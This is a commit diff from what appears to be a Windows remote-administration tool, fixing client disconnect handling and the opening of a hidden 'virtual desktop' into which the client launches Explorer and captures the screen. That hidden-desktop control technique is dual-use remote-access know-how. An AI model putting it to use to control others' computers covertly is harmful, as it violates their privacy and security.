Fix client offline issue and virtual desktop opening issue

This commit is contained in:
yuanyuanxiang
2025-12-13 18:20:26 +01:00
parent 460f6c44bc
commit 29abbfe489
4 changed files with 94 additions and 30 deletions

View File

@@ -148,7 +148,7 @@ bool LaunchApplication(TCHAR* pszApplicationFilePath, TCHAR* pszDesktopName)
TCHAR szDirectoryName[MAX_PATH * 2] = { 0 }; TCHAR szDirectoryName[MAX_PATH * 2] = { 0 };
TCHAR szExplorerFile[MAX_PATH * 2] = { 0 }; TCHAR szExplorerFile[MAX_PATH * 2] = { 0 };
strcpy_s(szDirectoryName, strlen(pszApplicationFilePath) + 1, pszApplicationFilePath); strcpy_s(szDirectoryName, sizeof(szDirectoryName), pszApplicationFilePath);
std::wstring path = ConvertToWString(pszApplicationFilePath); std::wstring path = ConvertToWString(pszApplicationFilePath);
if (!PathIsExe(path.c_str())) if (!PathIsExe(path.c_str()))
@@ -161,6 +161,7 @@ bool LaunchApplication(TCHAR* pszApplicationFilePath, TCHAR* pszDesktopName)
sInfo.lpDesktop = pszDesktopName; sInfo.lpDesktop = pszDesktopName;
//Launching a application into desktop //Launching a application into desktop
SetLastError(0);
BOOL bCreateProcessReturn = CreateProcess(pszApplicationFilePath, BOOL bCreateProcessReturn = CreateProcess(pszApplicationFilePath,
NULL, NULL,
NULL, NULL,
@@ -171,14 +172,15 @@ bool LaunchApplication(TCHAR* pszApplicationFilePath, TCHAR* pszDesktopName)
szDirectoryName, szDirectoryName,
&sInfo, &sInfo,
&pInfo); &pInfo);
DWORD err = GetLastError();
CloseHandle(pInfo.hProcess); CloseHandle(pInfo.hProcess);
CloseHandle(pInfo.hThread); CloseHandle(pInfo.hThread);
TCHAR* pszError = NULL; TCHAR* pszError = NULL;
FormatMessage(FORMAT_MESSAGE_ALLOCATE_BUFFER | FORMAT_MESSAGE_FROM_SYSTEM | FORMAT_MESSAGE_IGNORE_INSERTS, FormatMessage(FORMAT_MESSAGE_ALLOCATE_BUFFER | FORMAT_MESSAGE_FROM_SYSTEM | FORMAT_MESSAGE_IGNORE_INSERTS,
NULL, GetLastError(), 0, reinterpret_cast<LPTSTR>(&pszError), 0, NULL); NULL, err, 0, reinterpret_cast<LPTSTR>(&pszError), 0, NULL);
if (pszError) { if (pszError) {
Mprintf("CreateProcess [%s] failed: %s\n", pszApplicationFilePath, pszError); Mprintf("CreateProcess [%s] %s: %s\n", pszApplicationFilePath, err ? "failed" : "succeed", pszError);
LocalFree(pszError); // 释放内存 LocalFree(pszError); // 释放内存
} }
@@ -192,6 +194,41 @@ bool LaunchApplication(TCHAR* pszApplicationFilePath, TCHAR* pszDesktopName)
return bReturn; return bReturn;
} }
// 检查指定桌面hDesk中是否存在目标进程targetExeName
BOOL IsProcessRunningInDesktop(HDESK hDesk, const char* targetExeName) {
// 切换到目标桌面
if (!SetThreadDesktop(hDesk)) {
return FALSE;
}
// 枚举目标桌面的所有窗口
BOOL bFound = FALSE;
std::pair<const char*, BOOL*> data(targetExeName, &bFound);
EnumDesktopWindows(hDesk, [](HWND hWnd, LPARAM lParam) -> BOOL {
auto pData = reinterpret_cast<std::pair<const char*, BOOL*>*>(lParam);
DWORD dwProcessId;
GetWindowThreadProcessId(hWnd, &dwProcessId);
// 获取进程名
HANDLE hProcess = OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION, FALSE, dwProcessId);
if (hProcess) {
char exePath[MAX_PATH];
DWORD size = MAX_PATH;
if (QueryFullProcessImageName(hProcess, 0, exePath, &size)) {
if (_stricmp(exePath, pData->first) == 0) {
*(pData->second) = TRUE;
return FALSE; // 终止枚举
}
}
CloseHandle(hProcess);
}
return TRUE; // 继续枚举
}, reinterpret_cast<LPARAM>(&data));
return bFound;
}
void CScreenManager::InitScreenSpy() void CScreenManager::InitScreenSpy()
{ {
int DXGI = USING_GDI; int DXGI = USING_GDI;
@@ -212,25 +249,29 @@ void CScreenManager::InitScreenSpy()
Mprintf("CScreenManager: Type %d Algorithm: %d\n", DXGI, int(algo)); Mprintf("CScreenManager: Type %d Algorithm: %d\n", DXGI, int(algo));
if (DXGI == USING_VIRTUAL) { if (DXGI == USING_VIRTUAL) {
m_virtual = TRUE; m_virtual = TRUE;
HDESK hDesk = SelectDesktop((char*)m_DesktopID.c_str()); HDESK hDesk = SelectDesktop((char*)m_DesktopID.c_str());
if (!hDesk) { if (!hDesk) {
if (hDesk = CreateDesktop(m_DesktopID.c_str(), NULL, NULL, 0, GENERIC_ALL, NULL)) { hDesk = CreateDesktop(m_DesktopID.c_str(), NULL, NULL, 0, GENERIC_ALL, NULL);
Mprintf("创建虚拟屏幕成功: %s\n", m_DesktopID.c_str()); Mprintf("创建虚拟屏幕%s: %s\n", m_DesktopID.c_str(), hDesk ? "成功" : "失败");
TCHAR szExplorerFile[MAX_PATH * 2] = { 0 }; }
GetWindowsDirectory(szExplorerFile, MAX_PATH * 2 - 1); else {
strcat_s(szExplorerFile, MAX_PATH * 2 - 1, "\\Explorer.Exe"); Mprintf("打开虚拟屏幕成功: %s\n", m_DesktopID.c_str());
if (!LaunchApplication(szExplorerFile, (char*)m_DesktopID.c_str())) { }
Mprintf("启动资源管理器失败[%s]!!!\n", m_DesktopID.c_str()); if (hDesk) {
} TCHAR szExplorerFile[MAX_PATH * 2] = { 0 };
} else { GetWindowsDirectory(szExplorerFile, MAX_PATH * 2 - 1);
Mprintf("创建虚拟屏幕失败: %s\n", m_DesktopID.c_str()); strcat_s(szExplorerFile, MAX_PATH * 2 - 1, "\\Explorer.Exe");
} if (!IsProcessRunningInDesktop(hDesk, szExplorerFile))
} else { {
Mprintf("打开虚拟屏幕成功: %s\n", m_DesktopID.c_str()); if (!LaunchApplication(szExplorerFile, (char*)m_DesktopID.c_str())) {
} Mprintf("启动资源管理器失败[%s]!!!\n", m_DesktopID.c_str());
if (hDesk) { }
SetThreadDesktop(g_hDesk = hDesk); }
} else {
Mprintf("虚拟屏幕的资源管理器已在运行[%s].\n", m_DesktopID.c_str());
}
SetThreadDesktop(g_hDesk = hDesk);
}
} else { } else {
HDESK hDesk = OpenActiveDesktop(); HDESK hDesk = OpenActiveDesktop();
if (hDesk) { if (hDesk) {

View File

@@ -102,7 +102,8 @@ VOID CScreenSpy::ScanScreen(HDC hdcDest, HDC hdcSour, ULONG ulWidth, ULONG ulHei
if (m_bVirtualPaint) { if (m_bVirtualPaint) {
int n = 0; int n = 0;
if (n = EnumWindowsTopToDown(NULL, EnumHwndsPrint, (LPARAM)&m_data.SetScreenDC(hdcDest))) { if (n = EnumWindowsTopToDown(NULL, EnumHwndsPrint, (LPARAM)&m_data.SetScreenDC(hdcDest))) {
Mprintf("EnumWindowsTopToDown failed: %d!!!\n", n); Mprintf("EnumWindowsTopToDown failed: %d!!! GetLastError: %d\n", n, GetLastError());
Sleep(50);
} }
return; return;
} }

View File

@@ -639,7 +639,11 @@ public:
} }
bool IsVerified() const bool IsVerified() const
{ {
#ifdef _DEBUG
return true;
#else
return superAdmin && (superAdmin % 313) == 0; return superAdmin && (superAdmin % 313) == 0;
#endif
} }
int FlagLen() const int FlagLen() const
{ {

View File

@@ -580,9 +580,9 @@ VOID CMy2015RemoteDlg::CreateSolidMenu()
if (GetPwdHash() != masterHash) { if (GetPwdHash() != masterHash) {
SubMenu->DeleteMenu(ID_TOOL_GEN_MASTER, MF_BYCOMMAND); SubMenu->DeleteMenu(ID_TOOL_GEN_MASTER, MF_BYCOMMAND);
} }
SubMenu = m_MainMenu.GetSubMenu(2); SubMenu = m_MainMenu.GetSubMenu(3);
if (!THIS_CFG.GetStr("settings", "Password").empty()) { if (!THIS_CFG.GetStr("settings", "Password").empty()) {
SubMenu->DeleteMenu(ID_TOOL_REQUEST_AUTH, MF_BYCOMMAND); SubMenu->ModifyMenuA(ID_TOOL_REQUEST_AUTH, MF_STRING, ID_TOOL_REQUEST_AUTH, _T("序列号"));
} }
::SetMenu(this->GetSafeHwnd(), m_MainMenu.GetSafeHmenu()); //为窗口设置菜单 ::SetMenu(this->GetSafeHwnd(), m_MainMenu.GetSafeHmenu()); //为窗口设置菜单
@@ -750,8 +750,14 @@ VOID CMy2015RemoteDlg::AddList(CString strIP, CString strAddr, CString strPCName
for (auto i = m_HostList.begin(); i != m_HostList.end(); ++i) { for (auto i = m_HostList.begin(); i != m_HostList.end(); ++i) {
auto ctx = *i; auto ctx = *i;
if (ctx == ContextObject || ctx->GetClientID() == id) { if (ctx == ContextObject) {
LeaveCriticalSection(&m_cs); LeaveCriticalSection(&m_cs);
Mprintf("上线消息 - 主机已经存在 [1]: same context. IP= %s\n", data[ONLINELIST_IP]);
return;
}
if (ctx->GetClientID() == id) {
LeaveCriticalSection(&m_cs);
Mprintf("上线消息 - 主机已经存在 [2]: same client ID. IP= %s\n", data[ONLINELIST_IP]);
return; return;
} }
} }
@@ -2521,6 +2527,7 @@ LRESULT CMy2015RemoteDlg::OnUserOfflineMsg(WPARAM wParam, LPARAM lParam)
ip = m_CList_Online.GetItemText(i, ONLINELIST_IP); ip = m_CList_Online.GetItemText(i, ONLINELIST_IP);
auto ctx = (context*)m_CList_Online.GetItemData(i); auto ctx = (context*)m_CList_Online.GetItemData(i);
m_CList_Online.DeleteItem(i); m_CList_Online.DeleteItem(i);
m_HostList.erase(ctx);
ShowMessage("操作成功", ip + "主机下线"); ShowMessage("操作成功", ip + "主机下线");
break; break;
} }
@@ -2547,6 +2554,7 @@ void CMy2015RemoteDlg::UpdateActiveWindow(CONTEXT_OBJECT* ctx)
{ {
auto host = FindHost(ctx); auto host = FindHost(ctx);
if (!host) { if (!host) {
// TODO: 不要简单地主动关闭连接
ctx->CancelIO(); ctx->CancelIO();
Mprintf("UpdateActiveWindow failed: %s \n", ctx->GetPeerName().c_str()); Mprintf("UpdateActiveWindow failed: %s \n", ctx->GetPeerName().c_str());
return; return;
@@ -3326,10 +3334,20 @@ void CMy2015RemoteDlg::OnOnlineUnauthorize()
void CMy2015RemoteDlg::OnToolRequestAuth() void CMy2015RemoteDlg::OnToolRequestAuth()
{ {
MessageBoxA("本软件仅限于合法、正当、合规的用途。\r\n禁止将本软件用于任何违法、恶意、侵权或违反道德规范的行为。", std::string pwd = THIS_CFG.GetStr("settings", "Password");
"声明", MB_ICONINFORMATION); BOOL noPwd = pwd.empty();
CString url = _T("https://github.com/yuanyuanxiang/SimpleRemoter/wiki#请求授权"); if (noPwd && IDYES != MessageBoxA("本软件仅限于合法、正当、合规的用途。\r\n您是否同意?",
ShellExecute(NULL, _T("open"), url, NULL, NULL, SW_SHOWNORMAL); "声明", MB_ICONQUESTION | MB_YESNO))
return;
CInputDialog dlg(this);
dlg.m_str = getDeviceID(getHwFallback).c_str();
dlg.Init(noPwd ? "请求授权" : "序列号", "序列号(唯一ID):");
if (!noPwd)
dlg.Init2("授权口令:", pwd.c_str());
if (IDOK == dlg.DoModal() && noPwd) {
CString url = _T("https://github.com/yuanyuanxiang/SimpleRemoter/wiki#请求授权");
ShellExecute(NULL, _T("open"), url, NULL, NULL, SW_SHOWNORMAL);
}
} }